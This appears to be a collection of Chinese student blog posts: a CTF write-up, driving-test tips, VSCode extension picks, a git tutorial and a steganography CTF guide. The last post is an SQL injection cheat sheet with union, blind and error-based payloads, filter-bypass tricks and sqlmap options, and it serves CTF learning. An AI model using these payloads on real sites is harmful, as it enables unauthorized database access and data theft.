cbctf by 0rays-team

Wp from Legrandk

Web:尖尖的商店

开着BurpSuite去截买flag那个请求包,发现字段

Cookie:money=1000

把1000改成114514(恶臭),就能买到flag了

Re:WDNMD

直接ida64打开

Hex-View里可以找到前半段flag

IDA-View里把一堆mov命令后的hex数按R转为字符之后得到后半段flag

Misc:α层

用Stegsolve的图片叠加功能直接叠出flag

(这个flag是真的难打,打错了不知道多少次。。。)

Misc签到题

直接16进制数转字符就行了


啊我真是菜狗子,还有200分被尖尖商店2.0的傻x Hint坑去了QwQ

我以后一定好好审题555

考科目二的一些总结

科目二细分为六个科目:倒车入库,侧方停车,曲线行驶,直角转弯,停车取卡,上坡起步。科目二建议全程使用1档变速器行驶,建议速度不高于5km/h。

倒车入库

会在一个T字形的区域要求完成考试,先从左侧入场,行驶至右侧适当位置(有标记),停车,挂入倒车档,先直线倒车,在合适位置向右打180°+的方向盘使车尾进入停车位,再回一半的方向盘,使车大体进入车位,然后回完方向盘,使车再竖直停入车位。同样步骤再从左边进行一次。全程不可压线,车必须完全停在库中。结束之后起步右转进入侧方停车场地。

侧方停车

场地为一条直线,场地右侧有一车位,需要把车停入车位中。先开过车位,在标线处停车挂入倒车档开始倒车。观察后视镜,在看见车库外侧角时右打死方向盘让车进入车位。但是在看见停车杠上标记的时候,须回完方向盘并且反向打死,避免车尾重新出车位。全程不可压实线和角落。车停入车位后不得压左侧线。完成后打开左转向灯离开场地,进入曲线行驶场地。

曲线行驶

曲线行驶场地是一个S形道路,全程不可压线。(S弯道没啥好说的,全是标记点)操作上每次都只打90°+,不要猛打方向盘,用方向盘去对准场地里的标记并且在适当时机完成操作就可以。(真的简单)出场地后直线行驶一小段距离后进入直角转弯场地。

直角转弯

一个90度的左转弯,提前打开左转向灯。在驾驶员快要与横向车道的内侧划线平齐的时候向左打死方向盘,驾驶车辆缓缓左转。全程不可压内侧与外侧的线。转弯之后直行进入停车取卡项目。

停车取卡

沿着标线缓缓向前,靠近左侧的按钮,在停车杆前停车,确保车辆与左侧实线距离在20cm-40cm之间,驾驶员按下左侧按钮,前方停车杆升起,继续直线行驶。全程不可压线,不可离边缘线过远或者过近。若确实远了,不怎么够得到也许可以强行伸出去一点去按按钮。(这边基本没人挂)前行进去上坡起步场地。

上坡起步

上坡起步是挂掉最多的一门。你需要驾驶车辆开上一个30°的桥并且在半坡停下,再重新起步开下桥。在上坡前先注意与侧边的距离,在坡上的停车位置要求与侧边距离不得超出30cm否则扣分(超出50cm就直接挂)。上坡若一档动力不足可带上一点油门。在到达停车位置后同时踩下刹车与离合踏板停车,摘挡,拉手刹,松脚。等待几秒钟后重新踩下刹车与离合踏板,挂1挡,松手刹,然后缓抬离合,在车身开始抖动时松开刹车,车便有足够动力起步,开过桥。下桥则考试结束。

VSCode插件推荐(第一期)

VSCode在会用的人手里就是IDE。

——在不会用的人手里就是大号记事本

1、【主题】Atom One Dark Theme

话不多说,深色主题,高亮都做得很好,只是注释略暗。

2、【注释高亮】Better Comments

这个插件能帮你在写TODO、Alerts等特殊注释时拥有高亮和自动对齐等操作。

3、【代码运行】Code Runner

这个插件也不多说了,它能帮你一键运行多种语言的代码,对许多脚本程序很友好。但是别忘了在设置种勾选Run In Terminal的选项,程序默认不在终端运行,而是在输出框,无法进行输入操作,你需要此选项来强制它在终端中运行程序。

4、【拼写检查】Code Spell Check

你可曾有把main函数拼成mian函数?别找借口说是饿着写代码的了!你就是手胡了!这款插件可以把你代码里出现的单词与它内置的词典对照,找出可能的拼写错误。甚至从某种程度上它还能纠正不规范的变量命名,那些没有可读性的单词是无法通过它的检测的(虽然你可以手动加白名单就是了)!

5、【文件大小】filesize

这个插件能在VSCode的左下角实时显示你正在编辑的文件占用的磁盘空间的大小。虽然看起来没啥用,但是看看自己写了“那么多”的代码,还是很爽的~

6、【个性化图标】Material Icon Theme

这是一套以我最喜欢的设计风格Material Design为基础设计的图标包,比VSCode自带的图标直观了许多(好看了很多),图标的支持很全,已经对超过400种的文件和文件夹实现了适配,基本每方面都涉及到了,一般不会出现缺图标的情况。可以直接去这个插件的Github页面查看支持的图标。

7、【路径填充】Path Intellisense

写HTML的时候还在死记硬背要引入的文件的路径吗?涉及到文件操作的时候还在打开文件浏览器复制路径吗?用了这款插件,这些就都不是事儿了!在你需要输入路径的时候,它能自动帮你探测这个路径,你只需要像在文件管理器里面选择那样,按TAB或者鼠标选择,就能自动生成绝对、相对路径,绝对是你居家旅行、捉羊码字必备的好帮手。尤其是你远程连接到服务器进行开发的时候,输入文件路径时它绝对能帮大忙。

8、【一键格式化】Prettier-Code formatter

贼好用!贼好用!贼好用!如果你写代码的时候懒得对齐,或者歪歪扭扭不好看,装了它,只需轻敲Ctrl+Alt+F(macOS:control+option+F),你的屎山宝塔代码就能一秒变得层次分明!

使用前(D区)
使用后(凤 姐 整 容)

9、【防止瞎眼】Rainbow Brackets

看到这么多括号,晕吗?

这个插件会自动为每层不同的括号上色,方便你实现括号匹配,有了这个,妈妈再也不用担心看代码的时候看到右括号找不到左括号了~

先写这么多,剩下的等以后再写~

Done,enjoy!

我居然真的写了一篇纯英文博文(2020.6.6)

我吐了,查词典查了半天。

R-E-P-O-S-I-T-O-R-Y 这个词我都忘记了我打了几遍,呕。

这个单词算是刻在DNA里了(喂!不要什么奇奇怪怪的东西都往DNA里面刻啊)

仓库、寄存库、、、我怕是忘不掉了

说了看数电的,结果看完课程视频就懒得做课后练习了2333333

How to use git to push your code to your Github’s repository’s origin master

First things first,install git first.

——Stop BBing if you have not even installed the git.

Install git(may need root permission)

  • Ubuntu/Debian/Deepin: apt install git
  • Arch/Manjaro:pacman -S git
  • Free BSD:pkg install git
  • macOS:brew install git
  • Windows:Click HERE to download the installer

Run git –version to make sure that git is installed on your device.

Put your codes to a folder and initialize

Now you can copy+paste all your code that need to be pushed to the Github in your new folder.Then run a terminal in this folder.

Using git init to initial your local repository.

And do not forget to add a new repository in your Github account.Once you added a new repository to your Github,you will get a repository-link just like this:

https://github.com/YourGithubID/YourRepoName.git

Now,run git remote add origin $YourRepoLink to link your remote repository to the local one.

Add your files to staging area

Use git add $Filename to add the files you need to staging area. Or you can use git add . (THERE IS A DOT AT THE END) to add all your files。

Then run git status to check the files in your local repository.

Run git commit -m ‘$YourCommits’ to add some commits to this submit.

Push your code to Github

First of all,use git pull origin master to pull your online repository.

Use git push origin master to submit your files to Github.

There are some cases that you will meet the ERROR that refusing to merge unrelated histories when you pull.You can try git pull origin master –allow-unrelated-histories to allow merging two unrelated branches.(At the first time,the online repository is empty but the local one have some files,so of course they are unrelated).

Now you can check your new repository on the Github.

Done,enjoy.

Misc隐写题的一些思路

拿到文件无论是什么,先跑binwalk -e,这个不能提取就用foremost。

——总有一款适合你

1、zip文件

一般有几种可能

  • 一个损坏的zip文件(无法正常打开)
  • 一个可以解压的文件,解压得到带加密的压缩文件与若干单独的文件
  • 单独一个带加密的文件

第一种:

使用十六进制编辑器(推进WinHex或者HxD)打开该文件,并且依照zip文件结构来修复zip文件。注意,虽然正常的zip文件拥有文件头504B0304,但是有的题目会把头给搞烂或者与文件的其他内容交换(参见NPUCTF-Misc第一题HappyVerificationCheck),需要移动/更改文件内相当大一部分的内容,此时需要更加谨慎。在修复zip文件成功后,可能可以直接打开活得flag,也可能转换成别的情况。

第二种:

一般单独的文件会在zip文件内含有同名文件,此时可以通过检查文件的CRC32值来判断它们是不是同一文件。如果是同一文件,就可以利用神器ARCHPR的明文攻击模式来尝试破解文件加密(此处ARCHPR推荐使用4.53版本,4.54版本在明文破解的时候不知道为什么有时会有一些蜜汁错误)。有可能可以恢复出密钥,但是更多的时候只是能恢复压缩文件内的文件。总之你还是拿到了你想要的包内的文件。

第三种:

单独一个带加密的压缩文件,有两种情况:1、它真的有密码;2、它没有密码,是“伪加密”。对于1,看看题干或者密码提示,是否有提到密码的位数什么的内容,然后继续用神器ARCHPR爆破密码(目前我尚未看到别的类型的题目)。对于2,伪加密有两种方法可以解除:使用7zip软件可以直接解压或者使用十六进制编辑器改动文件内的标记。有伪加密的文件,在504B0102标记后偏移量为5,6的两个十六进制数,一般不为00,把它改为00保存即可。

2、图像文件

要是binwalk里面提取出了东西,就先去处理提取出的东西吧~

祭出神器:Stegsolve.jar,这个工具可以根据不同的颜色通道来检查是否有隐藏水印在图像中。用这个工具打开图像然后狂怼右箭头就行了,总能看到些什么东西。

另外,如果是有关的最低有效位(LSB)隐写,使用Stegsolve的Data Extract功能就能读取到LSB上的隐藏信息了。

还有一个骚操作,部分蛇皮题目还会把提示乃至flag放在图片属性的备注里。

Especially,对于png,如果你打开图片,发现它并不是非常完整的话,可能是这个文件被人为更改了大小。使用十六进制编辑器打开这个图片,在0x16开始的4+4个十六进制位上,分别保存着图像的高度和宽度(哪个在前我也记不住)。往大了改,揭下flag的遮羞布。

对于不同的图像文件,也有几种不同的情况:

  • GIF文件可能存在F5加密,可以使用F5-steganography来查看(一般有Hint)
  • JPG文件可以事先用Stegdetect检测一番,再确定下一步
  • JPG有一款信息隐藏软件,叫JPHS,可以用它隐藏或者提取信息
  • PNG还可以尝试 Stepic来检查隐写

3、音频隐写

目前我只接触过3种音频隐写

1、如果是一首听起来就很刺耳的歌,可以尝试使用Audacity观察其频谱图。频谱图里面基本都画了flag或者其它线索。

2、如果听到了拨号音,可以把那段音频提取出来,然后跑dtmf2num,把拨号音转换成数字,再进行进一步操作。

3.如果听到了形如“鬼子电报员”的声音,那就可能是SSTV信号,尝试用MMSSTV软件读取这段音频然后获取一张图片,进而提取flag。注:SSTV信号就是把图片编码成音频,便于远距离传输,从太空传到地面的图片什么的(笑)。

最近又是没干什么好事呢,光顾着和老朋友们闲聊了~

SQL注入总结

联合注入

  • 第一步(查行数)

union 1,2,3,。。要知道几列,可以用union试过去,最好的方法可以使用order by [num] (按照某一列排序)找到有几列

  • 第二步(查数据库)

查询系统库 information_schema 中的 schemata 表 中的 schema_name 列

使用 group_concat(schema_name) 输出该列下的所有元素为一行

SELECT * FROM users WHERE id=0 union select 1,group_concat(schema_name),3 from information_schema.schemata

  • 第三步(查数据库表名)

SELECT * FROM users WHERE id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='[查到的库名]’

  • 第四步(查表中的列名)

SELECT * FROM users WHERE id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='[想要查的表名]’

  • 第五步(查要找的表中列的数据)

SELECT * FROM users WHERE id=0 union select 1,group_concat([列名]),3 from [库名].[表名]

报错注入

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

盲注

时间盲注

SELECT * FROM users WHERE id=0 and if( ascii(mid(database(),1,1))>’100′,sleep(5),1)

布尔盲注

SELECT * FROM users WHERE id=0 and ascii(mid(database(),1,1))>’100′

SQL注入绕过

  • OR AND 绕过

大小写 Or oR OR

双写 oorr anandd

用 || && 代替

  • 空格绕过

id=1’/**/AND/**/1=1#

id=(sleep(ascii(mid(user().from(2)for(1)))=109))

1’||updatexml(1,concat(0x7e,version()),1)||’1’=’1

%09—–>TAB(水平)

%0a——>新建一行

%0c——->新的一页

%0d——–>return功能

%0b——–>TAB(垂直)

%a0———>空格

  • 注释符绕过
  • 替换绕过

–空格

–空格a

#

/**/

  • 闭合绕过

id=1′ and ‘1

SQLMAP参数

Target
Request
Optimization优化
Injection注入
Detection检测
Fingerprint指纹
Enumeration枚举
Brute force蛮力
File system access访问文件系统
Operation system access操作系统访问
Windows注册表访问
General一般
Miscellaneous杂项

-u 指定url,?id=* 利用*明确注入参数
-data “id=1” POST请求
-P 指定注入参数
-r filepath
–cookie
–level
-v 表示显示详细信息